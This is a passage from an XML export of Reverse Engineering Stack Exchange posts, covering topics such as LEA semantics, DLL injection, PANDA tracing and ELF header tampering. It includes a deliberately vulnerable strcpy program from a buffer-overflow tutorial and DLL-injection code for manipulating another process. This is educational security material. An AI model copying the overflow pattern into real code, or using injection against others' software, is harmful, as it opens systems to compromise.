&lt;code&gt;eax&lt;/code&gt;doesn't hold an address but a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="15566" LastActivityDate="2016-03-29T12:07:23.390" Title="Question about LEA instruction" Tags="|ida|disassembly|x86|c|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12301" PostTypeId="2" ParentId="12300" CreationDate="2016-03-29T11:39:09.523" Score="1" Body="&lt;p&gt;According to Intel the LEA instruction is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This instruction computes the effective address of the second operand&#xA;  (the source operand) and stores it in the first operand (destination&#xA;  operand). The source operand is a memory address (offset part)&#xA;  specified with one of the processors addressing modes; the destination&#xA;  operand is a general-purpose register.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;code&gt;lea edx, [eax-1]&lt;/code&gt; computes the address of &lt;code&gt;[eax-1]&lt;/code&gt;, which is eax-1, because [] means that the operand should be handled as an address. After it the address will be stored in &lt;code&gt;edx&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-03-29T11:39:09.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12302" PostTypeId="2" ParentId="12300" CreationDate="2016-03-29T12:07:23.390" Score="11" Body="&lt;p&gt;What you're seeing is an efficiency trick that compilers like to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internally, the CPU doesn't make a difference between numbers and addresses - 32 bit integers and pointers are the same thing. (Or 64 bit, if you're using newer architecture, but as your register names start with &lt;code&gt;e&lt;/code&gt;, you're using 32 bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;lea&lt;/code&gt; instruction loads the address of its operand, instead of the operand itself. In C terms, you could look at [eax-1] as *(eax-1), and &lt;code&gt;lea&lt;/code&gt; adds a &lt;code&gt;&amp;amp;&lt;/code&gt; operator to that, so &lt;code&gt;lea edx, [eax-1]&lt;/code&gt; is like &lt;code&gt;edx = &amp;amp;(*(eax-1))&lt;/code&gt;. Which is the same as &lt;code&gt;eax-1&lt;/code&gt; of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiler could have done exactly the same using the instruction sequence &lt;code&gt;mov edx, eax; sub edx, 1&lt;/code&gt; or &lt;code&gt;mov edx, eax; dec edx&lt;/code&gt;. So, why did it use the &lt;code&gt;lea&lt;/code&gt; instruction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that, historically, resolving addresses in &lt;code&gt;lea&lt;/code&gt; was done using dedicated address bus hardware and bypassed the ALU. Also, pipelining had its issues when the same register was used twice in subsequent operations. Which means, on &lt;strong&gt;older&lt;/strong&gt; processors, using &lt;code&gt;lea&lt;/code&gt; was a few cycles faster than the alternatives, and it's not hard to implement in the compiler, so this is what compilers traditionally did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On new processors, the distinction &quot;&lt;code&gt;lea&lt;/code&gt; uses separate hardware&quot; isn't (neccesarily) made any more, and pipelining is a lot more intelligent than it used to be, so i doubt it's make any difference these days. But it's still in the compilers, and won't get removed from them because there's just no good reason to.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-03-29T12:07:23.390" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12303" PostTypeId="1" CreationDate="2016-03-29T19:44:35.083" Score="2" ViewCount="244" Body="&lt;p&gt;When you save a screenshot in &lt;em&gt;Super Smash Bros.&lt;/em&gt; for Wii U on the SD card it writes to, it makes two files: a &lt;code&gt;.JPG&lt;/code&gt; and a &lt;code&gt;.BIN&lt;/code&gt; file. Both these files are in the format of &lt;code&gt;HNI_XXXX.&lt;em&gt;EXTENTION&lt;/em&gt;&lt;/code&gt;, where &lt;em&gt;XXXX&lt;/em&gt; is the number of the screenshot. I believe that the &lt;code&gt;.BIN&lt;/code&gt; file is (at least in part) a checksum to verify that the images are not edited (outside of the game), because modifying the &lt;code&gt;.JPG&lt;/code&gt; file in any way will cause the game to refuse to recognize it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;.BIN&lt;/code&gt; file is always 32-bytes exactly, I've tried using some of the common 265-bit checksums like SHA-256, and GOST. But none have ever matched up what has been contained in the &lt;code&gt;.BIN&lt;/code&gt; files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included three sets of images and their respective checksums in a &lt;a href=&quot;http://www.speedyshare.com/tuyB3/snapshots.zip&quot; rel=&quot;nofollow&quot;&gt;convenient zip file&lt;/a&gt;, so please take a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas what checksum &lt;em&gt;Super Smash Bros.&lt;/em&gt; might be using? If you need any more details I'd be more than happy to provide them.&lt;/p&gt;&#xA;" OwnerUserId="15573" LastEditorUserId="15573" LastEditDate="2016-03-30T04:54:52.903" LastActivityDate="2016-03-30T04:54:52.903" Title="What checksum is Super Smash Bros. Wii U using?" Tags="|hash-functions|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12305" PostTypeId="1" CreationDate="2016-03-30T13:10:41.987" Score="1" ViewCount="782" Body="&lt;p&gt;I am trying to create a (32-bit) DLL to inject into a target process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My DLL should call a function inside the original process. So far nothing special, however the target function is using the thiscall calling convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use my own fake class object. The method does nothing more then setting a few variables in this class object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My attempt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HashClass&#xA;{&#xA;public:&#xA;    byte data[1024];&#xA;    LPVOID HashFunc(float, char, char);&#xA;};&#xA;&#xA;typedef LPVOID (HashClass::*HASHFUNC)(float, char, char);&#xA;&#xA;HASHFUNC *HashFunc = (HASHFUNC *) 0xD34DB33F;&#xA;&#xA;void CallHashFunction()&#xA;{&#xA;   HashClass *hashClass = new HashClass();&#xA;   (hashClass-&amp;gt;*HashFunc)(1.0f, 'a', 'b');  // Getting an error here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best and easiest method for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Errors i am getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error   1   error C2297: '.*' : illegal, right operand has type 'HASHFUNC *'&#xA;        2   IntelliSense: expression must have pointer-to-member type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14241" LastEditorUserId="14241" LastEditDate="2016-03-30T14:41:19.063" LastActivityDate="2016-03-30T14:41:19.063" Title="Call a thiscall method from an injected DLL" Tags="|dll-injection|calling-conventions|" AnswerCount="1" CommentCount="3" ClosedDate="2016-04-08T20:38:10.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="12306" PostTypeId="2" ParentId="12305" CreationDate="2016-03-30T14:26:57.533" Score="1" Body="&lt;p&gt;What error you get?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HashClass&#xA;{&#xA;public:&#xA;    byte data[1024];&#xA;    LPVOID HashFunc(float, char, char);&#xA;};&#xA;&#xA;typedef LPVOID (HashClass::*HASHFUNC)(float, char, char);&#xA;&#xA; HASHFUNC *HashFunc = (HASHFUNC *) 0xD34DB33F;&#xA;&#xA; void CallHashFunction()&#xA; {&#xA;    HashClass *hashClass = new HashClass();&#xA;    (*hashClass.*HashFunc)(1.0f, 'a', 'b');&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2016-03-30T14:26:57.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12307" PostTypeId="1" AcceptedAnswerId="12308" CreationDate="2016-03-30T15:14:14.383" Score="1" ViewCount="514" Body="&lt;p&gt;I am going through a tutorial which shows you how to exploit a stack based buffer overflow in a sample C program. The C code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void function(char *str) {&#xA;   char buffer[1024];&#xA;   strcpy(buffer,str);&#xA;}&#xA;&#xA;int main(int argc,char *argv[])&#xA;{&#xA;    char aaa[500];&#xA;    function(argv[1]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As per the author if we write 1032 'A's, we should be able to see 'AAAA' in the EIP register. I understand the theory behind it. However, running it on Windows 7 32 bit and debugging it with Immunity Debugger, it says &quot;&lt;strong&gt;Process terminated exit code C0000409&lt;/strong&gt;&quot;. &lt;strong&gt;EIP&lt;/strong&gt; instead points to &quot;&lt;strong&gt;ntdll.RT lUserThreadStart&lt;/strong&gt;&quot;. Please advise. &lt;/p&gt;&#xA;" OwnerUserId="15582" LastActivityDate="2016-03-30T17:08:29.447" Title="Why can't I get the EIP to reflect my input" Tags="|x86|exploit|buffer-overflow|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12308" PostTypeId="2" ParentId="12307" CreationDate="2016-03-30T15:25:50.143" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As per the author if we write 1032 'A's, we should be able to see&#xA;  'AAAA' in the EIP register.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That assumes that the program was compiled without (now standard) runtime safety checks. If you'd like to compile the program with these safety checks disabled, please ask for help at &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;https://stackoverflow.com/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-03-30T15:25:50.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12309" PostTypeId="2" ParentId="12307" CreationDate="2016-03-30T17:08:29.447" Score="0" Body="&lt;p&gt;Building upon Jason's answer, this is most likely due to your compilers Buffer Security Check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically in Microsoft compilers the '/GS' option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/8dbf701c.aspx&quot; rel=&quot;nofollow&quot;&gt;The MSDN page&lt;/a&gt; gives a better explanation aswell as a few examples.&lt;/p&gt;&#xA;" OwnerDisplayName="user15338" LastActivityDate="2016-03-30T17:08:29.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12311" PostTypeId="2" ParentId="1397" CreationDate="2016-03-30T18:32:38.970" Score="7" Body="&lt;p&gt;Here's a late response. The &lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;noreferrer&quot;&gt;Reko decompiler&lt;/a&gt; recovers the integer divisors by performing a divide and conquer search using &lt;a href=&quot;https://en.wikipedia.org/wiki/Mediant_%28mathematics%29&quot; rel=&quot;noreferrer&quot;&gt;mediants&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reko starts by recognizing the pattern where the high word of a 64-bit product (&lt;code&gt;r * c&lt;/code&gt;) is used. The constant multiplier &lt;code&gt;c&lt;/code&gt; is divided by 2^32 to yield a double precision floating point number between 0.0 and 1.0. Starting with the rational numbers 0 / 0 and 1 / 1, Reko computes a sequence of mediants that brackets the floating point number. From this sequence of mediants it chooses the rational number that comes closest to the floating point number and returns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is not fully tested yet -- I haven't had a chance to work with negative numbers yet, for one, but seems to give reasonable results. The code is here if you're curious: &lt;a href=&quot;https://github.com/uxmal/reko/blob/master/src/Decompiler/Analysis/ConstDivisionImplementedByMultiplication.cs&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/uxmal/reko/blob/master/src/Decompiler/Analysis/ConstDivisionImplementedByMultiplication.cs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2016-03-30T18:32:38.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12312" PostTypeId="1" AcceptedAnswerId="12319" CreationDate="2016-03-31T20:17:18.643" Score="3" ViewCount="530" Body="&lt;p&gt;I am trying to shortcut the call to a procedure that is activated when clicking on a menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I injected a DLL on the process that creates this window with the menu bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Spy++ from VisualStudio to obtain the Menu Identifier for this specific item (wid: 40003). Now I am calling &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CallWindowProcW(wndproc, hwnd, WM_COMMAND, 40003, 0);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However, the item procedure is not triggered.&lt;/strong&gt;&#xA;I cannot call the procedure directly because I do not know what it is. I just know that when I click this menu it activates it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have obtained &lt;code&gt;windproc&lt;/code&gt; and &lt;code&gt;hwnd&lt;/code&gt; doing the following inside my DLL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; void Init()&#xA; {&#xA;     DWORD procID = GetProcessId(GetCurrentProcess());&#xA;     EnumWindows(myCallback, procID);&#xA; }&#xA;&#xA; BOOL CALLBACK myCallback(HWND hWnd, LPARAM lParam)&#xA; {&#xA;     DWORD wndId;&#xA;&#xA;     GetWindowThreadProcessId(hWnd, &amp;amp;wndId);&#xA;     if(wndId == (DWORD)lParam) //Found the right window handle&#xA;     {&#xA;         WNDPROC windowFunc = (WNDPROC)GetWindowLong(hWnd, GWL_WNDPROC);&#xA;         LRESULT result = CallWindowProcW(windowFunc, hWnd, WM_COMMAND, 40003, 0);&#xA;         return FALSE;&#xA;     }&#xA;     return TRUE;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Have also tried SendMessageA, PostMessageA and DispatchMessageA and failed&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;: See answer below for working PostMessageA.&lt;/p&gt;&#xA;" OwnerUserId="15085" LastEditorUserId="15085" LastEditDate="2016-04-01T19:13:31.067" LastActivityDate="2016-12-17T15:07:41.753" Title="Simulate Windows menu item activation" Tags="|windows|dll-injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12313" PostTypeId="1" AcceptedAnswerId="12315" CreationDate="2016-04-01T08:34:31.507" Score="4" ViewCount="881" Body="&lt;p&gt;As answer to the post &quot;Using QEmu monitor interface to extract execution traces from a binary?&quot;, one of the PANDA authors &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4779/11830&quot;&gt;outlined&lt;/a&gt; how QUEMU may be used to record execution traces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do it with PANDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that the QEMU function &lt;code&gt;cpu_memory_rw_debug(env, pc, buf, size, is_write);&lt;/code&gt; allows to access the guest's memory. Yet, I don't know how much memory I have to read, because the size of the opcodes differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PANDA provides the function &lt;code&gt;panda_disas&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;void panda_disas(FILE *out, void *code, unsigned long size);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Writes a textual representation of disassembly of the guest code at&#xA;  virtual address code of size bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But same question here, how do I determine the size of the instruction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;code&gt;PANDA_CB_INSN_EXEC&lt;/code&gt; and &lt;code&gt;PANDA_CB_INSN_TRANSLATE&lt;/code&gt; do not provide the size of the instruction, I figured it must be in &lt;code&gt;CPUState&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into &lt;code&gt;cpu.h&lt;/code&gt; and &lt;code&gt;cpu-all.h&lt;/code&gt; but couldn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another approach or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-04-01T15:27:45.047" Title="Getting list of opcodes from PANDA trace" Tags="|disassembly|x86|qemu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12315" PostTypeId="2" ParentId="12313" CreationDate="2016-04-01T13:20:05.637" Score="3" Body="&lt;p&gt;At the moment PANDA doesn't provide information about the instruction size (which isn't known before translation) at the level of an individual instruction. One thing you &lt;em&gt;can&lt;/em&gt; do, however, is get the size of an entire basic block once it has been translated by QEMU using &lt;code&gt;PANDA_CB_AFTER_BLOCK_TRANSLATE&lt;/code&gt; and then look at the &lt;code&gt;tb-&amp;gt;size&lt;/code&gt; field. You can then cache the disassembly for that block and print it out in a &lt;code&gt;PANDA_CB_BEFORE_BLOCK_EXEC&lt;/code&gt; callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a plugin that uses this trick to compute rolling instruction opcode histograms using the &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;capstone disassembler&lt;/a&gt;. You'll have to adapt it a bit to get a full instruction trace, but it should demonstrate the principle.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This needs to be defined before anything is included in order to get&#xA;// the PRIx64 macro&#xA;#define __STDC_FORMAT_MACROS&#xA;&#xA;extern &quot;C&quot; {&#xA;&#xA;#include &quot;config.h&quot;&#xA;#include &quot;qemu-common.h&quot;&#xA;&#xA;#include &quot;panda_plugin.h&quot;&#xA;#include &quot;panda/panda_common.h&quot;&#xA;#include &quot;rr_log.h&quot;&#xA;#include &amp;lt;capstone/capstone.h&amp;gt;&#xA;&#xA;}&#xA;&#xA;#include &amp;lt;map&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;typedef std::map&amp;lt;std::string,int&amp;gt; instr_hist;&#xA;&#xA;&#xA;// These need to be extern &quot;C&quot; so that the ABI is compatible with&#xA;// QEMU/PANDA, which is written in C&#xA;extern &quot;C&quot; {&#xA;&#xA;bool init_plugin(void *);&#xA;void uninit_plugin(void *);&#xA;&#xA;}&#xA;&#xA;#define WINDOW_SIZE 100&#xA;&#xA;csh handle;&#xA;cs_insn *insn;&#xA;bool init_capstone_done = false;&#xA;target_ulong asid;&#xA;int sample_rate = 100;&#xA;FILE *histlog;&#xA;&#xA;// PC =&amp;gt; Mnemonic histogram&#xA;std::map&amp;lt;target_ulong,instr_hist&amp;gt; code_hists;&#xA;&#xA;// PC =&amp;gt; number of instructions in the TB&#xA;std::map&amp;lt;target_ulong,int&amp;gt; tb_insns;&#xA;&#xA;// Circular buffer PCs in the window&#xA;target_ulong window[WINDOW_SIZE] = {};&#xA;&#xA;// Rolling histogram of PCs&#xA;instr_hist window_hist;&#xA;uint64_t window_insns = 0;&#xA;uint64_t bbcount = 0;&#xA;&#xA;void init_capstone(CPUState *env) {&#xA;    cs_arch arch;&#xA;    cs_mode mode;&#xA;#ifdef TARGET_I386&#xA;    arch = CS_ARCH_X86;&#xA;    mode = env-&amp;gt;hflags &amp;amp; HF_LMA_MASK ? CS_MODE_64 : CS_MODE_32;&#xA;#elif defined(TARGET_ARM)&#xA;    arch = CS_ARCH_ARM;&#xA;    mode = env-&amp;gt;thumb ? CS_MODE_THUMB : CS_MODE_ARM;&#xA;#endif&#xA;&#xA;    if (cs_open(arch, mode, &amp;amp;handle) != CS_ERR_OK) {&#xA;        printf(&quot;Error initializing capstone\n&quot;);&#xA;    }&#xA;    init_capstone_done = true;&#xA;}&#xA;&#xA;void add_hist(instr_hist &amp;amp;a, instr_hist &amp;amp;b) {&#xA;    for (auto &amp;amp;kvp : b) a[kvp.first] += kvp.second;&#xA;}&#xA;&#xA;void sub_hist(instr_hist &amp;amp;a, instr_hist &amp;amp;b) {&#xA;    for (auto &amp;amp;kvp : b) a[kvp.first] -= kvp.second;&#xA;}&#xA;&#xA;void print_hist(instr_hist &amp;amp;ih, uint64_t window_insns) { &#xA;    fprintf(histlog, &quot;%&quot; PRIu64 &quot; &quot;, rr_get_guest_instr_count());&#xA;    fprintf(histlog, &quot;{&quot;);&#xA;    for (auto &amp;amp;kvp : ih) {&#xA;        fprintf (histlog, &quot;\&quot;%s\&quot;: %f, &quot;, kvp.first.c_str(), kvp.second/(float)window_insns);&#xA;    }&#xA;    fprintf(histlog, &quot;}\n&quot;);&#xA;}&#xA;&#xA;// During retranslation we may end up with different&#xA;// instructions. Since we don't have TB generations we just&#xA;// remove it from the rolling histogram first.&#xA;void clear_hist(target_ulong pc) {&#xA;    for (int i = 0; i &amp;lt; WINDOW_SIZE; i++) {&#xA;        if (window[i] == pc) {&#xA;            window[i] = 0;&#xA;            window_insns -= tb_insns[pc];&#xA;            sub_hist(window_hist, code_hists[pc]);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;static int after_block_translate(CPUState *env, TranslationBlock *tb) {&#xA;    size_t count;&#xA;    uint8_t mem[1024] = {};&#xA;&#xA;    if (asid &amp;amp;&amp;amp; panda_current_asid(env) != asid) return 0;&#xA;&#xA;    if (!init_capstone_done) init_capstone(env);&#xA;&#xA;    if (code_hists.find(tb-&amp;gt;pc) != code_hists.end()) {&#xA;        clear_hist(tb-&amp;gt;pc);&#xA;        return 0;&#xA;    }&#xA;&#xA;    panda_virtual_memory_rw(env, tb-&amp;gt;pc, mem, tb-&amp;gt;size, false);&#xA;    count = cs_disasm_ex(handle, mem, tb-&amp;gt;size, tb-&amp;gt;pc, 0, &amp;amp;insn);&#xA;    for (unsigned i = 0; i &amp;lt; count; i++)&#xA;        code_hists[tb-&amp;gt;pc][insn[i].mnemonic]++;&#xA;    tb_insns[tb-&amp;gt;pc] = count;&#xA;    return 1;&#xA;}&#xA;&#xA;static int before_block_exec(CPUState *env, TranslationBlock *tb) {&#xA;    if (asid &amp;amp;&amp;amp; panda_current_asid(env) != asid) return 0;&#xA;&#xA;    if (window[bbcount % WINDOW_SIZE] != 0) {&#xA;        target_ulong old_pc = window[bbcount % WINDOW_SIZE];&#xA;        window_insns -= tb_insns[old_pc];&#xA;        sub_hist(window_hist, code_hists[old_pc]);&#xA;    }&#xA;&#xA;    window[bbcount % WINDOW_SIZE] = tb-&amp;gt;pc;&#xA;    window_insns += tb_insns[tb-&amp;gt;pc];&#xA;    add_hist(window_hist, code_hists[tb-&amp;gt;pc]);&#xA;&#xA;    bbcount++;&#xA;&#xA;    if (bbcount % sample_rate == 0) {&#xA;        // write out to the histlog&#xA;        print_hist(window_hist, window_insns);&#xA;    }&#xA;    return 1;&#xA;}&#xA;&#xA;bool init_plugin(void *self) {&#xA;    panda_cb pcb;&#xA;&#xA;    panda_arg_list *args = panda_get_args(&quot;insthist&quot;);&#xA;    const char *name = panda_parse_string(args, &quot;name&quot;, &quot;insthist&quot;);&#xA;    asid = panda_parse_ulong(args, &quot;asid&quot;, 0);&#xA;    sample_rate = panda_parse_uint32(args, &quot;sample_rate&quot;, 1000);&#xA;&#xA;    char fname[260];&#xA;    sprintf(fname, &quot;%s_insthist.txt&quot;, name);&#xA;    histlog = fopen(fname, &quot;w&quot;);&#xA;&#xA;    pcb.after_block_translate = after_block_translate;&#xA;    panda_register_callback(self, PANDA_CB_AFTER_BLOCK_TRANSLATE, pcb);&#xA;    pcb.before_block_exec = before_block_exec;&#xA;    panda_register_callback(self, PANDA_CB_BEFORE_BLOCK_EXEC, pcb);&#xA;&#xA;    return true;&#xA;}&#xA;&#xA;void uninit_plugin(void *self) {&#xA;    print_hist(window_hist, window_insns);&#xA;    fclose(histlog);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="257" LastEditorUserId="2505" LastEditDate="2016-04-01T15:27:45.047" LastActivityDate="2016-04-01T15:27:45.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12316" PostTypeId="1" AcceptedAnswerId="22883" CreationDate="2016-04-01T15:43:40.053" Score="7" ViewCount="14062" Body="&lt;p&gt;If the ELF header which usually can be read using &lt;code&gt;readelf&lt;/code&gt; has been manually manipulated, let's say by increasing the value for the &quot;Size of section headers&quot; the binary still can be executed and works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this manipulation seems to trip up reverse engineering tools like GDC and GDB gives me the error: &lt;code&gt;not in executable format: File format not recognized&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix the ELF header without knowing the original value of &quot;Size of section headers&quot; in order to be able again to analyze the file using &lt;em&gt;standard tools&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Detailed info:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;GDB is failing to run the binary because it says the file is &lt;code&gt;not in executable format : File format not recognized&lt;/code&gt; but it works outside the GDB. The same things happen with the &lt;code&gt;libbfd&lt;/code&gt; parser, it can't parse because file format is not recognized. The fact is I only change the number of section headers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;Hello World!\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Build by invoking &lt;code&gt;make hello&lt;/code&gt; or on a 64-bit system &lt;code&gt;make CFLAGS=-m32 hello&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;ELF header before&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h hello&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x8048320&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          4472 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         30 &amp;lt;-- notice me!&#xA;  Section header string table index: 27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;ELF header after&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h hello&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x8048320&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          4472 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         52 &amp;lt;-- already changed!&#xA;  Section header string table index: 27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GDB will output,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;not in executable format: File format not recognized&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But if I run it outside of GDB,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./hello output:&#xA;Hello World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is there either a method to fix the value for &lt;code&gt;e_shnum&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; knowing the correct value, or a workaround so I can debug this file in GDB?&lt;/p&gt;&#xA;" OwnerUserId="3917" LastEditorUserId="2147" LastEditDate="2018-11-21T01:01:07.663" LastActivityDate="2020-01-01T02:54:03.857" Title="Fixing corrupt ELF header field &quot;e_shnum&quot; for use in GDB" Tags="|gdb|elf|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
